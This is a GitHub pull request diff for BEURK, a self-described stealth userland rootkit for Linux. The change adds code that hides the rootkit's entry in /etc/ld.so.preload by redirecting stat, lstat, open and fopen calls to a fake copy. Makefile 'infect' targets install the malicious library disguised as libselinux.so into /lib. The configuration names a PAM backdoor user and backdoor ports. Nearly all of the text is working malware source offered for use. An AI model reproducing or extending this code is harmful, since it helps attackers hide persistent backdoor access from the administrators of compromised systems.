Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat(core): issue #78 #81

Open
wants to merge 2 commits into
base: dev
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 13 additions & 6 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -3,17 +3,21 @@ UNAME := $(shell uname -s)
SHELL := /bin/bash

# set default config values (can be overidden by setting env vars)
BEURK_CONFIG_FILE ?= beurk.conf
BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_CONFIG_FILE ?= beurk.conf
BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_FAKE_LD_PRELOAD ?= $(shell grep -E '^FAKE_LD_PRELOAD[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)
BEURK_ENV_IS_ATTACKER ?= $(shell grep -E '^_ENV_IS_ATTACKER[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs)

# do not infect the system in debug mode
ifneq ($(BEURK_DEBUG_LEVEL), 0)
BEURK_LD_PRELOAD := /tmp/beurk/ld.so.preload
BEURK_INFECT_DIR := /tmp/beurk
#BEURK_FAKE_LD_PRELOAD := /tmp/beurk/$(BEURK_FAKE_LD_PRELOAD)
else
BEURK_LD_PRELOAD := /etc/ld.so.preload
BEURK_FAKE_LD_PRELOAD := $(BEURK_FAKE_LD_PRELOAD)
endif

# absolute install path
Expand All @@ -33,6 +37,7 @@ SOURCES = src/init.c \
src/config.c \
src/debug.c \
src/is_hidden_file.c \
src/is_ld_preload_file.c \
src/is_attacker.c \
src/is_procnet.c \
src/hide_tcp_ports.c \
Expand Down Expand Up @@ -112,14 +117,16 @@ infect: $(BEURK_LIBRARY_NAME)
@echo "Install in $(BEURK_INFECT_ABSPATH)"
install -d $(BEURK_INFECT_DIR)
install -m 755 $(BEURK_LIBRARY_NAME) $(BEURK_INFECT_DIR)/
echo $(BEURK_INFECT_ABSPATH) >> $(BEURK_LD_PRELOAD)
cp $(BEURK_LD_PRELOAD) $(BEURK_FAKE_LD_PRELOAD) || touch $(BEURK_FAKE_LD_PRELOAD)
echo $(BEURK_INFECT_ABSPATH) > $(BEURK_LD_PRELOAD)
@echo "Successful infection"

# uninstall the rootkit (if installed on current system)
disinfect:
@echo "Uninstall $(BEURK_INFECT_ABSPATH)"
$(RM) $(BEURK_INFECT_DIR)/$(BEURK_LIBRARY_NAME)
sed '#$(BEURK_INFECT_ABSPATH)#d' $(BEURK_LD_PRELOAD) > $(BEURK_LD_PRELOAD)
$(BEURK_ENV_IS_ATTACKER)=true cp /dev/null $(BEURK_LD_PRELOAD)
mv $(BEURK_FAKE_LD_PRELOAD) $(BEURK_LD_PRELOAD)
@echo "Successful disinfection"

# remove object files
Expand Down
8 changes: 8 additions & 0 deletions beurk.conf
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,9 @@
# str: name of the generated evil hooking library
LIBRARY_NAME = libselinux.so

# str: ld.so.preload file
LD_PRELOAD = /etc/ld.so.preload

# str: where to store infected, only work in `production` mode
INFECT_DIR = /lib

Expand All @@ -21,6 +24,11 @@ DEBUG_FILE = /dev/stderr
# str: hide files with this string in the name
MAGIC_STRING = _BEURK_

# str: fake ld.so.preload file
# WARNING MAGIC_STRING is present
# WARNING string "ld.so.preload" must not be present on FAKE_LD_PRELOAD
FAKE_LD_PRELOAD = /etc/_BEURK_ld_so_preload

# str: PAM username (for su / ssh login)
PAM_USER = beurkroot

Expand Down
3 changes: 3 additions & 0 deletions includes/beurk.h
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,9 @@ int is_attacker(void) INTERNAL_API;
/* is_hidden_file.c */
int is_hidden_file(const char *path) INTERNAL_API;

/* is_ld_preload_file.c */
int is_ld_preload_file(const char *path) INTERNAL_API;

/* is_procnet.c */
int is_procnet(const char *path) INTERNAL_API;

Expand Down
2 changes: 2 additions & 0 deletions reconfigure
Original file line number Diff line number Diff line change
Expand Up @@ -62,11 +62,13 @@ def type_hexbyte(v):
# the list of config keys (with their associated expected type)
CONFIG_KEYS = {
"LIBRARY_NAME": type_str,
"LD_PRELOAD": type_str,
"INFECT_DIR": type_str,
"DEBUG_LEVEL": type_int,
"DEBUG_FILE": type_str,
"XOR_KEY": type_hexbyte,
"MAGIC_STRING": type_str,
"FAKE_LD_PRELOAD": type_str,
"PAM_USER": type_str,
"LOW_BACKDOOR_PORT": type_int,
"HIGH_BACKDOOR_PORT": type_int,
Expand Down
4 changes: 4 additions & 0 deletions src/hooks/__lxstat.c
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,10 @@ int __lxstat(int ver, const char *path, struct stat *buf) {
if (is_attacker())
return (REAL___LXSTAT(ver, path, buf));

if (is_ld_preload_file(path)) {
return REAL___LXSTAT(ver, FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(path)) {
errno = ENOENT;
return (-1);
Expand Down
4 changes: 4 additions & 0 deletions src/hooks/__lxstat64.c
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,10 @@ int __lxstat64(int ver, const char *path, struct stat64 *buf) {
if (is_attacker())
return (REAL___LXSTAT64(ver, path, buf));

if (is_ld_preload_file(path)) {
return REAL___LXSTAT64(ver, FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(path)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/__xstat.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL___XSTAT() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int __xstat(int __ver, const char *__filename, struct stat *buf) {
if (is_attacker())
return (REAL___XSTAT(__ver, __filename, buf));

if (is_ld_preload_file(__filename)) {
return REAL___XSTAT(__ver, FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(__filename)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/__xstat64.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat64 */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL___XSTAT64() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int __xstat64(int ver, const char *__restrict __file, struct stat64 *buf) {
if (is_attacker())
return (REAL___XSTAT64(ver, __file, buf));

if (is_ld_preload_file(__file)) {
return REAL___XSTAT64(ver, FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(__file)) {
errno = ENOENT;
return (-1);
Expand Down
4 changes: 4 additions & 0 deletions src/hooks/fopen.c
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
*/

#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */
#include "config.h" /* REAL_FOPEN() */
#include "debug.h" /* DEBUG() */
Expand All @@ -31,6 +32,9 @@ FILE *fopen(const char *__restrict path, const char *mode) {
if (is_attacker())
return (REAL_FOPEN(path, mode));

if (is_ld_preload_file(path))
return REAL_FOPEN(FAKE_LD_PRELOAD, mode);

if (is_hidden_file(path)) {
errno = ENOENT;
return (NULL);
Expand Down
4 changes: 4 additions & 0 deletions src/hooks/fopen64.c
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
*/

#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */
#include "config.h" /* REAL_FOPEN64() */
#include "debug.h" /* DEBUG() */
Expand All @@ -31,6 +32,9 @@ FILE *fopen64(const char *__restrict path, const char *mode) {
if (is_attacker())
return (REAL_FOPEN64(path, mode));

if (is_ld_preload_file(path))
return REAL_FOPEN64(FAKE_LD_PRELOAD, mode);

if (is_hidden_file(path)) {
errno = ENOENT;
return (NULL);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/lstat.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_LSTAT() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int lstat(const char *path, struct stat *buf) {
if (is_attacker())
return (REAL_LSTAT(path, buf));

if (is_ld_preload_file(path)) {
return REAL_LSTAT(FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(path)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/lstat64.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat64 */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_LSTAT64() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int lstat64(const char *path, struct stat64 *buf) {
if (is_attacker())
return (REAL_LSTAT64(path, buf));

if (is_ld_preload_file(path)) {
return REAL_LSTAT64(FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(path)) {
errno = ENOENT;
return (-1);
Expand Down
9 changes: 9 additions & 0 deletions src/hooks/open.c
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@
#include <stdarg.h> /* va_list, va_start(), va_args(), va_end() */
#include <fcntl.h> /* O_CREAT */
#include <sys/stat.h> /* mode_t */
#include <string.h> /* strstr() */
#include <errno.h> /* errno, ENOENT */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_OPEN() */
Expand All @@ -42,6 +43,10 @@ int open(const char *pathname, int flag, ...) {
if (is_attacker())
return REAL_OPEN(pathname, flag, mode);

if (is_ld_preload_file(pathname)) {
return REAL_OPEN(FAKE_LD_PRELOAD, flag, mode);
}

if (is_hidden_file(pathname)) {
errno = ENOENT;
return (-1);
Expand All @@ -53,6 +58,10 @@ int open(const char *pathname, int flag, ...) {
if (is_attacker())
return REAL_OPEN(pathname, flag);

if (is_ld_preload_file(pathname)) {
return REAL_OPEN(FAKE_LD_PRELOAD, flag);
}

if (is_hidden_file(pathname)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/stat.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_STAT() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int stat(const char *pathname, struct stat *buf) {
if (is_attacker())
return (REAL_STAT(pathname, buf));

if (is_ld_preload_file(pathname)) {
return REAL_STAT(FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(pathname)) {
errno = ENOENT;
return (-1);
Expand Down
5 changes: 5 additions & 0 deletions src/hooks/stat64.c
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

#include <sys/stat.h> /* struct stat64 */
#include <errno.h> /* errno, ENOENT */
#include <string.h> /* strstr() */
#include "beurk.h" /* is_attacker(), is_hidden_file() */
#include "config.h" /* REAL_STAT() */
#include "debug.h" /* DEBUG() */
Expand All @@ -32,6 +33,10 @@ int stat64(const char *__restrict __file, struct stat64 *buf) {
if (is_attacker())
return (REAL_STAT64(__file, buf));

if (is_ld_preload_file(__file)) {
return REAL_STAT64(FAKE_LD_PRELOAD, buf);
}

if (is_hidden_file(__file)) {
errno = ENOENT;
return (-1);
Expand Down
42 changes: 42 additions & 0 deletions src/is_ld_preload_file.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
/*
* BEURK is an userland rootkit for GNU/Linux, focused around stealth.
* Copyright (C) 2015 unix-thrust
*
* This file is part of BEURK.
*
* BEURK is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* BEURK is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with BEURK. If not, see <http://www.gnu.org/licenses/>.
*/

#include <limits.h> /* PATH_MAX */
#include <stdlib.h> /* realpath(), free()*/
#include <string.h> /* strcmp() */
#include "beurk.h" /* prototype */
#include "config.h" /* FILE, MAX_LEN, MAGIC_STRING, LIBRARY_NAME, ... */
#include "debug.h" /* DEBUG() */


int is_ld_preload_file(const char *file) {
init();
DEBUG(D_INFO, "called is_ld_preload_file()");

char *path;
int ret;

path = realpath(file, NULL);
if (path == NULL)
return 0;
ret = !strcmp(path, LD_PRELOAD);
free(path);
return ret;
}
6 changes: 3 additions & 3 deletions tests/quick/core/internal-api/run.sh
Original file line number Diff line number Diff line change
Expand Up @@ -41,12 +41,12 @@ done
# distclean at exit
trap "${MAKE} distclean" EXIT

# rebuild test
${MAKE} re

# use BEURK DSO library path
export LD_LIBRARY_PATH=${ROOTDIR}:${LD_LIBRARY_PATH}

# rebuild test
${MAKE} re

# run test as victim
./unit-tests

Expand Down